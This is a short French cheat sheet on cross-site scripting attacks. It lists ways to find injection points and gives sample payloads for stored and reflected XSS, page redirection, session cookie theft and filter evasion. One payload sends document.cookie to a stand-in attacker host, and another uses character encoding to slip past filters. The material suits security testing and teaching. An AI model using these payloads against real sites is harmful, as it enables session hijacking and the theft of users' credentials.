---
description: Attaques XSS (Cross-Site Scripting) - Cheatsheet
---

# Attaques XSS

1. <mark style="color:yellow;">Identification de Vulnérabilités :</mark>
   * Testez les champs d'entrée, les formulaires, les paramètres d'URL et les zones de commentaires pour identifier les points d'injection XSS possibles.
   * Recherchez les messages d'erreur ou les filtrages de caractères qui pourraient indiquer une vulnérabilité.
2. <mark style="color:yellow;">Injection XSS Persistante (Stockée) :</mark>
   * Injectez du code malveillant qui sera sauvegardé sur le serveur et affectera tous les utilisateurs qui afficheront la page.
   * Exemple : `<script>alert('XSS attaque !');</script>`
3. <mark style="color:yellow;">Injection XSS Réfléchie (Non Persistante) :</mark>
   * Injectez du code malveillant qui sera exécuté uniquement lorsque l'utilisateur clique sur un lien ou visite une URL spécialement conçue.
   * Exemple : `<img src="x" onerror="alert('XSS attaque !')">`
4. <mark style="color:yellow;">Redirection de Page et Hameçonnage :</mark>
   * Utilisez l'injection XSS pour rediriger les utilisateurs vers des sites malveillants ou pour voler leurs informations de connexion.
   * Exemple : `<script>window.location.href = 'http://site-malveillant.com';</script>`
5. <mark style="color:yellow;">Vol de Cookies et Sessions :</mark>
   * Utilisez l'injection XSS pour voler les cookies de session des utilisateurs et usurper leurs identités.
   * Exemple : `<script>document.location='http://site-malveillant.com/steal.php?cookie='+document.cookie;</script>`
6. <mark style="color:yellow;">Utilisation de Payloads Furtifs :</mark>
   * Utilisez des techniques d'obfuscation pour masquer le code malveillant et éviter la détection.
   * Exemple : `<s%63ript>alert('XSS attaque !');</s%63ript>`
